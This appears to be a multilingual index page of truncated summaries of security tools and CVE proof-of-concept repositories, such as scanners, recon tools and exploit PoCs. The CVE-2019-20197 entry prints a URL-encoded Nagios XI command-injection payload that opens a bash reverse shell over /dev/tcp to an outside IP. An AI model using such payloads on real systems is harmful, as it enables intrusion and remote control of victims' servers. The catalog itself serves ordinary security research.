seccubus

Informazioni su Seccubus Seccubus automatizza scans di vulnerabilità regolari con vari strumenti e aiuta i professionisti della sicurezza nell'analisi rapida del suo output, sia al primo scan che a scans successivi. Con il delta reporting su scans ripetuti, i risultati devono essere giudicati sol...

burpa

burpa: Automatore Burp Uno strumento di automazione per Burp Suite Requisiti burp-rest-api Burp Suite Professional slackclient Utilizzo root@kitploit: $ python burpa.py -h / / / / / / / / / / / // / // / / / // / // / /./,// / ./,/ // burpa version 0.1 / by 0x4D31 usage: burpa.py -h -a...

certReport

CertReport Questo strumento è pensato per ridurre lo sforzo necessario per segnalare certificati Authenticode. Il suo scopo è richiedere il minimo sforzo possibile a chi effettua la segnalazione, fornendo comunque all'autorità di certificazione la maggior parte delle informazioni necessarie per...

massdns

MassDNS A high-performance DNS stub resolver MassDNS is a simple high-performance DNS stub resolver targeting those who seek to resolve a massive amount of domain names in the order of millions or even billions. Without special configuration, MassDNS is capable of resolving over 350,000 names per...

social-engineer-toolkit

The Social-Engineer Toolkit SET The Social-Engineer Toolkit is an open-source penetration testing framework for authorized social-engineering assessments. SET provides guided attack vectors for security teams that need to test user awareness, validate controls, and run consent-based red-team...

dirsearch

dirsearch - Web Path Discovery An advanced web path brute-forcer dirsearch is being actively developed by @maurosoria and @shelld3v. Join the Discord server to communicate with the team. Quick Start dirsearch requires Python 3.11 or higher. root@kitploit: git clone...

Apktool

Apktool Dies ist das Repository für Apktool. Die Website befindet sich im Repositoryapktool.org. Apktool ist ein Tool zum Reverse Engineering von Drittanbieter-, geschlossenen, binären Android-Apps. Es kann Ressourcen nahezu in die ursprüngliche Form dekodieren und nach einigen Änderungen...

AISA-Scanner

AISA-Scanner — Agente di Sicurezza AI Autonomo AISA-Scanner è un toolkit di analisi della sicurezza informatica auto-evolutivo, basato su AI/ML, che combina NLP, arricchimento CVE, scansione autonoma, modellazione del rischio e reporting di livello enterprise in un unico framework. È progettato p...

KubeLight

OWASP KubeLight - Scanner di Sicurezza per Kubernetes Scansiona il tuo cluster Kubernetes per Sicurezza & Conformità 1. Scansiona i cluster K8s per rilevare configurazioni errate. 2. Strumento leggero, in puro Python, veloce e multithread. 3. Motore di query NoSQL. 4. Avvisi in tempo reale su Sla...

CVE-2019-1315

رفع الامتياز عبر النقل التعسفي للملفات في Windows Error Reporting Manager التفاصيل: https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html ستحتاج إلى مكتبة NtApiDotNet لتشغيله، بالإضافة إلى ملف Report.wer صالح، وكلاهما يجب وضعهما في نفس الدليل الذي يحتوي على سكربت...

cve-2023-20573-poc

Utilizzo del PoC Questa repository contiene un VMM che avvia un guest SEV-SNP con un kernel personalizzato. Il VMM e il kernel sono una versione ridotta di un mio progetto. Per l'esecuzione sull'host è richiesto un kernel Linux modificato: https://github.com/Freax13/linux/tree/for-amd. La Proof o...

CVE-2023-36874

CVE-2023-36874 Prova di concetto PoC Un'implementazione educativa e difensiva della vulnerabilità CVE-2023-36874 , che dimostra un difetto di escalation locale dei privilegi LPE nel componente Windows Error Reporting WER. ⚠️ Disclaimer Questo repository e il codice sorgente fornito sono destinati...

CVE-2025-25014

POC für CVE-2025-25014 Eine Prototype-Pollution-Schwachstelle in Kibana ermöglicht beliebige Codeausführung über präparierte HTTP-Anfragen an Machine-Learning- und Reporting-Endpunkte. Dieses POC erkennt derzeit nur verwundbare Instanzen. Verwendung root@kitploit: python CVE-2025-25014.py -u...

CVE-2019-20197

CVE-2019-20197 Nagios XI Remote Code Execution Vulnerability = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite root@kitploit: POS...

CVE-2025-61301

CVE-2025-61301 - CAPEv2: Negazione dell'analisi tramite fork ricorsivo di processi Descrizione Una vulnerabilità di gravità alta di negazione dell'analisi interessa reporting/mongodb.py e reporting/jsondump.py in CAPEv2 commit 52e4b43, del 2025-05-17 e consente agli attaccanti che possono inviare...

dashbuilder

Dashbuilder Dashbuilder ist eine allgemeine Dashboard- und Berichts-Webanwendung, die Folgendes ermöglicht: Visuelle Konfiguration und Personalisierung von Dashboards Unterstützung für verschiedene Arten von Visualisierungen unter Verwendung mehrerer Diagrammbibliotheken Voll ausgestatteter Edito...

reconmap

Reconmap Piattaforma di Gestione, Automazione e Reporting per Pentesting Reconmap è una piattaforma open source per la valutazione delle vulnerabilità e il penetration testing, progettata per supportare i professionisti della sicurezza durante l'intero ciclo di vita di un engagement. Consente a...

cve-2020-0618

CVE-2020-0618 Honeypot Erkennt und protokolliert Versuche, CVE-020-0618 SQL Reporting Services RCE auszunutzen Liefert Inhalte und Header wie SSRS, um die Wahrscheinlichkeit der Indexierung durch Suchmaschinen zu erhöhen z. B. Google, Shodan usw. Basiert auf der großartigen Arbeit von MDSec und...

domained

domained archiviato Uno strumento di enumerazione dei nomi di dominio Questo progetto non è più mantenuto. Grazie a @ccsplit e @mzfr per il loro lavoro su domained. Riassunto: Del codice Python terribile continuamente aggiornato che sfrutta alcuni strumenti fantastici che uso per la ricognizione ...

waf-tester

🛡️ WAF Tester Strumento enterprise per la valutazione dei WAF — Payload reali. Risultati reali. Report pronti per la conformità. WAF Tester valuta i Web Application Firewall inviando payload di attacco reali a un URL fornito dall'utente e segnalando se vengono bloccati. Disponibile come...